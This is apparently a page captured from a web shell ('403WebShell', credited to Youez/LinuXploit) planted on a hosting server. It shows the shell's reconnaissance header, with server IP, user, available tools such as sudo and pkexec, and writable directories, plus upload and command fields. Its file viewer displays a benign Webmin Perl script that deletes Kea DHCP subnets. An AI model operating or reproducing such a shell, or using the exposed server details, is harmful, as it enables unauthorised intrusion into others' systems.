Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/kea-dhcp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/kea-dhcp/delete_objects.cgi
#!/usr/bin/perl
# Delete selected Kea DHCP subnets and shared networks.

use strict;
use warnings;
require './kea-dhcp-lib.pl';    ## no critic
&ReadParse();
our (%in, %text);
&error_setup($text{'eacl_aviol'});

my $ver = $in{'version'} == 6 ? 6 : 4;
my %access = &get_module_acl();
&error("$text{'eacl_np'} $text{'eacl_pedit'.$ver}")
	if (!$access{'edit'.$ver});
my ($c, $root, $data, $err) = &kea_read_dhcp_config($ver);
&error($err) if ($err);

&error_setup($text{'delete_failsave'});
my @shared = split(/\0/, defined($in{'d_shared'}) ? $in{'d_shared'} : "");
my @subnets = split(/\0/, defined($in{'d_subnet'}) ? $in{'d_subnet'} : "");
@shared || @subnets || &error($text{'delete_enone'});

# Group subnet deletions by parent so indexes can be removed descending within
# each array without disturbing later deletions.
my %subnets_by_parent;
foreach my $v (@subnets) {
	$v =~ /^(\d*):(\d+)$/ || &error($text{'subnet_enone'});
	my ($sidx, $idx) = ($1, $2);
	&error($text{'subnet_enone'})
		if (!&kea_valid_subnet_parent($root, $sidx));
	my $list = &kea_subnet_list($root, $ver, $sidx);
	&error($text{'subnet_enone'}) if (!$list->[$idx]);
	push(@{$subnets_by_parent{$sidx}}, $idx);
	}
foreach my $sidx (keys %subnets_by_parent) {
	my $list = &kea_subnet_list($root, $ver, $sidx);
	foreach my $idx (sort { $b <=> $a } @{$subnets_by_parent{$sidx}}) {
		splice(@$list, $idx, 1);
		}
	}

# Shared networks are top-level siblings, so delete them after nested subnets.
my $shareds = &kea_shared_networks($root);
foreach my $idx (sort { $b <=> $a } @shared) {
	$idx =~ /^\d+$/ || &error($text{'shared_enone'});
	&error($text{'shared_enone'}) if (!$shareds->[$idx]);
	my $subs = &kea_subnet_list($root, $ver, $idx);
	&error($text{'shared_enonempty'}) if (@$subs);
	splice(@$shareds, $idx, 1);
	}

my $saveerr = &kea_save_component_config($c, $data);
&error($saveerr) if ($saveerr);
&webmin_log("delete", "objects", scalar(@shared) + scalar(@subnets), \%in);
&redirect("index.cgi?mode=dhcp$ver");

Youez - 2016 - github.com/yon3zu
LinuXploit